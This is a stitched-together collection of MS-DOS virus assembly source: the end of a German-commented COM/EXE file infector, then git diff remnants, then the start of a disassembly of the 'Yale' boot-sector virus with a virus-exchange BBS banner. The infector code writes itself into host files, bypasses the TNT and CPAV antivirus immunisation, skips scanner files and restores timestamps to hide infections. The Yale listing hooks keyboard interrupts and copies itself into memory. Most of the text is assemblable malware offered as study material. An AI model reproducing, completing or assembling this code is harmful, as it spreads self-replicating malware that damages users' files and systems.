;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ COM: R<>cksprung & JMP setzen ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;------------------------------------------------------------------------------
; OFS des R<>cksprungs in den Host (100H) setzen, SEG wird w„hrend der Laufzeit
; eingesetzt... (<CS> ist je nach freiem Speicher immer unterschiedlich!)
;------------------------------------------------------------------------------
MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],100H
;------------------------------------------------------------------------------
; Sprung vom HOST in den VIRUS setzen und an den Anfang der Datei schreiben:
;------------------------------------------------------------------------------
MOV BYTE PTR CS:[OFFSET PUFFER-FAKTOR+3],0E9H ;JMP setzen
SUB SI,3 ;JMP und Dateil„nge anpassen
MOV WORD PTR CS:[OFFSET PUFFER-FAKTOR+4],SI ;Offset setzen
MOV AH,40H ;Datei beschreiben
MOV CX,3 ;Anzahl zu schreibender Bytes
MOV DX,OFFSET PUFFER-FAKTOR+3 ;OFS des Puffers
CALL GODOS ;Handle in <BX>
JNC F_INFECT ;--> F_INFECT -->
F_MODIFY: JMP MODIFY ;FEHLER --> SCHLIESSEN
F_INFECT: XOR DI,DI ;LO-OFS des FilePtr in <DI> (s.u.)
JMP INFECT ; --> INFECT !!!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ EXE: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
GO_EXE: MOV BYTE PTR CS:[COMEXE-FAKTOR],1 ;COMEXE auf EXE setzen
;------------------------------------------------------------------------------
; Dateil„nge im EXE-Kopf (in Seiten zu 512 Bytes) in BYTEs wandeln und in <AX>
; (LO-WORD) und <DX> (HI-WORD) speichern ( ---> um die EXE-Dateil„nge im EXE-
; Kopf mit der oben ermittelten physikalischen Dateil„nge vergleichen zu k”n-
; nen !!!):
;------------------------------------------------------------------------------
MOV AX,WORD PTR CS:[OFFSET PUFFER+4-FAKTOR] ;F_L„nge (in Seiten zu...
DEC AX ;...512 BYTEs) in <AX>
MOV CX,512 ;Mit 512 malnehmen, und...
MUL CX ;...somit in BYTEs wandeln
ADD AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;BYTEs der letzten Seite drauf
JNC EXE_TEST ;šBERTRAG? NEIN --> EXE_TEST
INC DX ;JA --> HI-WORD der Dateigr”áe erh”hen
;------------------------------------------------------------------------------
; Physikalische Dateil„nge (<SI>: LO-WORD / <DI>: HI-WORD) mit der Dateil„nge
; im EXE-Kopf (<AX>: LO-WORD / <DX>: HI-WORD) vergleichen, somit auf Overlays
; in der EXE-Datei testen:
;------------------------------------------------------------------------------
EXE_TEST: CMP AX,SI ;LO-WORD im EXE-Kopf=LO-WORD der DateigrӇe?
JNE POP_CLOSE ;NEIN --> CLOSE
CMP DX,DI ;HI-WORD im EXE-Kopf=HI-WORD der DateigrӇe?
JE SET_EXE ;JA --> SET_EXE
POP_CLOSE:POP AX ;Datum wird nicht mehr gebraucht (vom Stack)
POP BP ;(s.o...)
JMP CLOSE ;NEIN --> CLOSE
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ EXE: R<>cksprung & JMP setzen ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;==============================================================================
; EXE-Datei IST TAUGLICH! Neues <CS> und neuen <IP> vorbereiten, altes <CS> und
; <IP> (AUS DEM EXE-Kopf) f<>r den R<>cksprung vorbereiten:
;==============================================================================
;------------------------------------------------------------------------------
; Dateil„nge in Paras wandeln:
;------------------------------------------------------------------------------
SET_EXE: MOV AX,SI ;LO-WORD der L„nge in <AX> sichern
MOV DX,DI ;HI-WORD der L„nge in <DX> sichern
MOV CL,4 ;LOW-WORD der Dateil„nge...
SHR AX,CL ;...in PARAs wandeln
MOV CL,12 ;Unteren 4 BITs des HI-WORD der Datei-
SHL DX,CL ;...l„nge in oberen 4 BITs verschieben
OR AX,DX ;Beides verkn<6B>pfen: Dateil„nge in PARAs
;------------------------------------------------------------------------------
; EXE-File auf VOLLE Paragraphenl„nge testen, falls noch BYTEs zum vollen Para-
; graphen ben”tigt werden, wird dies in <DI> gemerkt und das neue <CS> um einen
; Para erh”ht (Virus beginnt immer am Paragraphenstart!!!):
;------------------------------------------------------------------------------
AND SI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren
MOV DI,10000B ;Wieviel bleibt zu einem PARA <20>brig...
SUB DI,SI ;...in <DI> merken
AND DI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren
JZ NEU_KOPF ;PARA ist schon voll --> NEU_KOPF
INC AX ;Neues <CS> um einen PARA erh”hen
;------------------------------------------------------------------------------
; EXE-Kopfl„nge abziehen, und somit neues <CS> in <AX>:
;------------------------------------------------------------------------------
NEU_KOPF: SUB AX,WORD PTR CS:[OFFSET PUFFER+8-FAKTOR] ;Dateil„nge MINUS Kopf
;------------------------------------------------------------------------------
; R<>cksprung vorbereiten, Differenz zwischen neuem <CS> und altem <CS>:
;------------------------------------------------------------------------------
MOV CX,AX ;Neues <CS> in <CX> sichern
MOV DX,WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR] ;Altes <CS> in <DX>
SUB CX,DX ;Unterschied zw. Neu und Alt
MOV WORD PTR CS:[OFFSET EXE_SEG+1-FAKTOR],CX ;R<>cksprung vorbereiten (SEG)
;------------------------------------------------------------------------------
; Neuen EXE-Start setzen, alten <IP> in den R<>cksprungpuffer schieben:
;------------------------------------------------------------------------------
MOV CX,WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR] ;Altes <IP> in <CX>
MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],CX ;R<>cksprung vorbereiten (OFS)
;------------------------------------------------------------------------------
; Neues <CS> im EXE-Kopf eintragen, neuen <IP> im EXE-Kopf auf null setzten:
;------------------------------------------------------------------------------
MOV WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR],AX ;Neues <CS>
MOV WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR],0 ;Neuer <IP>
;------------------------------------------------------------------------------
; EXE-Dateil„nge anpassen (Anzahl BYTEs in der letzten Seite um {ANZBYTES} er-
; h”hen und beim <20>berlauf <20>ber 512 BYTEs das 512-BYTE-pro-Seite Word um eins
; erh”hen) :
;------------------------------------------------------------------------------
MOV AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;Anzahl BYTEs der letzten Seite
ADD AX,DI ;BYTEs des letzten PARAs dazu...
ADD AX,ANZBYTES ;...Virusl„nge dazu
MOV DX,AX ;Diesen Wert in <DX> merken!
AND AX,0111111111B ;Unteren 9 BITs=512 NICHT ausmaskieren
JNZ EXE_ZERO ;Sonderfall? NEIN --> EXE_ZERO
MOV AX,512 ;Letzte Seite=Voll
SUB DX,512 ;Anzahl Seiten weniger 1
EXE_ZERO: MOV WORD PTR CS:[OFFSET PUFFER+2-FAKTOR],AX ;BYTEs der letzten Seite
MOV CL,9 ;Den Rest in Seiten zu jeweils...
SHR DX,CL ;...512 BYTEs umrechnen (shiften)
ADD WORD PTR CS:[OFFSET PUFFER+4-FAKTOR],DX ;Auf die urspr<70>ngliche L„nge drauf!
;------------------------------------------------------------------------------
; Stack-SEG <SS> um {ANZBYTES/10H) Paragraphen nach hinten versetzen:
;------------------------------------------------------------------------------
ADD WORD PTR CS:[OFFSET PUFFER+0EH-FAKTOR],(ANZBYTES/10H) ;<SS> nach hinten
;==============================================================================
;EXE-Kopf erfolgreich modifiziert! Diesen Kopf jetzt in die Datei schreiben:
;==============================================================================
MOV AH,40H ;Datei beschreiben
MOV CX,18H ;Anzahl zu schreibender Bytes
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers
CALL GODOS ;Handle in <BX>
JC MODIFY ;FEHLER --> SCHLIESSEN
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ TNT und CPAV <20>berlisten: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
INFECT: CMP BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;Immunisiert?
JZ INF_CONT ;NEIN --> INF_CONT
MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
MOV CX,0FFFFH ;HI-WORD des FilePtr
MOV DX,(-172H) ;LO-WORD des FilePtr
CALL GODOS ;Handle in <BX>
MOV AH,3FH ;Datei lesen
MOV CX,20H ;Anzahl zu lesender BYTES
MOV DX,OFFSET VIR_END-FAKTOR ;OFS des Puffers, SEG in <DS>
CALL GODOS ;Handle in <BX>
;------------------------------------------------------------------------------
IMUN_TST: MOV SI,CX ;Anzahl zu lesender BYTEs in <SI>
DEC SI ;NULL als Zahl interpretieren!
CMP WORD PTR CS:[OFFSET VIR_END-FAKTOR+SI],09B4H ;Target gefunden?
JZ BREAK_IT ;JA --> BREAK_IT
LOOP IMUN_TST ;NEIN --> IMUN_TST
JMP INF_CONT ;NIX...INF_CONT!
;------------------------------------------------------------------------------
BREAK_IT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
MOV DX,172H ;LO-WORD des FilePtr
SUB DX,SI ;Target-Position abziehen
NEG DX ;Negieren (FilePtr r<>ckw„rts!)
MOV CX,0FFFFH ;HI-WORD des FilePtr
CALL GODOS ;Handle in <BX>
MOV AH,40H ;Datei beschreiben
MOV CX,2 ;Anzahl zu schreibender Bytes
MOV DX,OFFSET ANTI_IMUN-FAKTOR ;OFS des Puffers
CALL GODOS ;Handle in <BX>
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ FielPtr "SPACEN" (fr<66>her: F<>ll-BYTEs schreiben): ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
INF_CONT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
XOR CX,CX ;HI-WORD des FilePtr
MOV DX,DI ;LO-WORD des FilePtr (F<>ll-BYTEs...
CALL GODOS ;... in <DI>), Handle in <BX>
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generationsz„hler erh”hen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
INC WORD PTR CS:[OFFSET KOPIE-FAKTOR] ;LO-Z„hler erh”hen
JNZ GO_COPY ;Kein <20>berlauf --> ENDE
INC WORD PTR CS:[OFFSET KOPIE-FAKTOR+2] ;HI-Z„hler erh”hen
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ KOPIEREN: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
GO_COPY: MOV AH,40H ;Datei beschreiben
MOV CX,ANZBYTES ;Anzahl zu schreibender Bytes
XOR DX,DX ;OFS des Puffers
CALL GODOS ;Handle in <BX>
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Altes DATUM und alte ZEIT NEU setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MODIFY: MOV AX,5701H ;Datum und Zeit der Datei restaurieren
POP DX ;Altes Datum holen
POP CX ;Alte Uhrzeit holen
CALL GODOS ;Handle in <BX>
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Datei schlieáen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CLOSE: MOV AH,3EH ;Datei schliessen
CALL GODOS ;Hoffentlich Ok...
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Attribut der Datei restaurieren ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
BREAK: POP DS ;SEG des Dateinamens in <DS>...
POP DX ;...OFS in <DX>
POP CX ;Attribut in <CX>
MOV AX,4301H ;Attribut einer Datei setzen
CALL GODOS ;SEG in <DS> und OFS in <DX> (s.o.)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT 13H auf neuen (nach dem Virus) Vektor setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
REST_INT: POP DX ;OFS in <DX>
POP DS ;SEG in <DS>
MOV AX,2513H ;Vektor neu setzen
CALL GODOS ;--> Dose direkt callen
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Kritikal Errorhandler wieder restaurieren: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
POP DX ;OFS in <DX>
POP DS ;SEG in <DS>
MOV AL,24H ;<AX>=24, Vektor neu setzen
CALL GODOS ;--> Dose direkt callen
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT beenden... ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
JMP NEU21END ;INT Beenden --> NEU21END
NEU21 ENDP
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Nicht zu infizierende Dateien: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
SCAN DB "ASC" ;1: "SCAn"
DB "ECL" ;2: "CLEan"
DB "HVS" ;3: "VSHield"
DB "RVI" ;4: "VIRus"
DB "NWI" ;5: "WINdows"
ANZ_SCAN EQU 5 ;Anzahl eingegebener Viren
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º SEEK_BEG: Dateizeiger auf den Anfang der Datei setzen: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
SEEK_BEG PROC NEAR
MOV AX,4200H ;Dateizeiger bew., relativ zum Anfang
XOR CX,CX ;HI-WORD des Offset
XOR DX,DX ;LO-WORD des offset
CALL GODOS ;Handle in <BX>
RET ; --> HOME
SEEK_BEG ENDP
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º GODOS: Direkter Aufruf von INT 21H º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
GODOS PROC NEAR ;DOS-INT direkt aufrufen!!!
PUSHF
CALL DWORD PTR CS:[ALT21-FAKTOR]
RET
;--> Is 17 BYTEs kleiner als die
GODOS ENDP ;Methode mit den Vektoren umbiegen..!
;==============================================================================
COMEXE DB 0 ;COM oder EXE-File..?
ANTI_IMUN DB 0EBH,034H ;Nix-Merken-JMP f<>r CPAV und TNT
KOPIE DD 1 ; ÚÄÄÄ Double-Word f<>r die Anzahl der Generationen
;  ÀÄÄÄÄÄÄ¿
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
;º ÚÄÄÄÄÄÄ DOUBLE-WORD ÄÄÄÄÄÄÄ¿ º 
  º Das Double-Word
;º ÚÄ LO-WORD Ä¿ ÚÄ HI-WORD Ä¿ º steht x Bytes VOR
    º DEM ENDE des
;º LO-BYTE HI-BYTE LO-BYTE HI-BITE º infizierten Programms
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
KENNUNG DW ID_WORD ;Kenn-WORD
PUFFER DB 3 DUP(90H) ;Puffer (EXE-Kopf, etc.), mit NOPs gef<65>llt (COM)
;==============================================================================
VIR_END EQU $
; 
; ÃÄÄ Ausgelagerter Puffer (20H BYTEs)
; 
BUF_END EQU VIR_END+1FH
;------------------------------------------------------------------------------
ALT13 EQU BUF_END+1
; 
; ÃÄÄ Alter Vektor von INT 13H
; 
ALT13_END EQU ALT13+3
;------------------------------------------------------------------------------
AKTIV EQU ALT13_END+1
; 
; ÃÄÄ Aktiv-Flag f<>r den residenten Teil des Virus
; 
AKTIV_END EQU AKTIV
;------------------------------------------------------------------------------
IMMUN EQU AKTIV+1 ;ÄÄÄ> IMMER DER LETZT EINTRAG! (s. Virus-Kopf)
; 
; ÀÄÄ Ist die Zieldatei immunisiert worden von TNT oder CPAV ?
;
;==============================================================================
CODE ENDS
END START


File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,365 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Yale' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Yale' Virus º
; º Disassembled by Joe Hirst, April 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus consists of a boot sector only on a floppy disk.
; The original boot sector is kept at track thirty-nine, head zero,
; sector eight.
; The disassembly has been tested by re-assembly using MASM 5.0
; Note that this does not create an identical program, as the original
; appears to have been assembled with A86
; MASM would not assemble the instruction at offset 003CH (7C3CH)
; This instruction is undefined on an 8088/8086, and illegal
; on a 80286/80386.
; The program requires an origin address of 7C00H for the first sector
; to load and run as a boot sector
; System variables are defined in either RAM or BOOT (or both)
; depending on the segment used by the program
RAM SEGMENT AT 400H
; System RAM fields
ORG 13H
BW0413 DW ? ; Total RAM size
ORG 17H
BB0417 DB ? ; Key toggles
ORG 72H
BW0472 DW ? ; System reset word
RAM ENDS
BOOT SEGMENT AT 0
; Interrupt addresses
ORG 24H
BW0024 DW ? ; Interrupt 9 offset
BW0026 DW ? ; Interrupt 9 segment
ORG 64H
BW0064 DW ? ; Interrupt 19H offset
BW0066 DW ? ; Interrupt 19H segment
; System RAM fields
ORG 410H
DW0410 DW ? ; System configuration
ORG 413H
DW0413 DW ? ; Total RAM size
; BIOS field
ORG 0E502H
DWE502 DW ?
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING
START: CLI
XOR AX,AX ; \ Set SS to zero
MOV SS,AX ; /
MOV SP,7C00H ; Set stack before boot area
STI
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV AX,BW0413 ; Get size of RAM
MUL BX ; Convert to paragraphs
SUB AX,07E0H ; Subtract address after boot area
MOV ES,AX ; Target segment
ASSUME DS:CODE
PUSH CS ; \ Set DS to CS
POP DS ; /
CMP DI,3456H ; Simulated system reset?
JNE BP0010 ; Branch if not
DEC GENNUM[7C00H] ; Decrement generation number
BP0010: MOV SI,SP ; \ Address boot sector area
MOV DI,SI ; /
MOV CX,0200H ; 512 bytes to move
CLD
REPZ MOVSB ; Copy virus to high core
MOV SI,CX ; Address offset zero
MOV DI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
REPZ MOVSB ; Save first 32 interrupt pointers
CALL BP0030 ; Install interrupt 9 routine
PUSH ES ; \ Transfer to high core
; POP CS ; /
DB 0FH ; This is the previous instruction
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,SP ; Address boot sector area
MOV DX,CX ; A-drive, head zero
MOV CX,2708H ; Track 39, sector 8
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
BP0020: JB BP0020 ; Loop on error
JMP BP0190
; Install interrupt 9 routine
BP0030: DEC DW0413 ; Decrement RAM size
MOV SI,OFFSET BW0024 ; Address INT 9 pointer
MOV DI,OFFSET INT_09+7C00H ; Target far jump
MOV CX,4 ; 4 bytes to copy
CLI
REPZ MOVSB ; Copy far address
MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
MOV BW0026,ES ; Install new segment
STI
RET
; Ctrl-Alt-Del depressed - acknowledge keyboard signal
BP0040: IN AL,61H ; Get port B
MOV AH,AL ; Save current state
OR AL,80H ; Turn top bit on
OUT 61H,AL ; Set port B
XCHG AL,AH ; Get original state
OUT 61H,AL ; Reset port B
JMP SHORT BP0110
; Format table for track 39, head zero, 8 sectors (unused)
DB 027H, 000H, 001H, 002H
DB 027H, 000H, 002H, 002H
DB 027H, 000H, 003H, 002H
DB 027H, 000H, 004H, 002H
DB 027H, 000H, 005H, 002H
DB 027H, 000H, 006H, 002H
DB 027H, 000H, 007H, 002H
DB 027H, 000H, 008H, 002H
; Rubbish
DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
DB 011H, 011H, 011H
; Interrupt 9 routine
BP0050: PUSHF
STI
PUSH AX
PUSH BX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
IN AL,60H ; Get keyboard token
MOV AH,AL ; Save keyboard token
AND AX,887FH
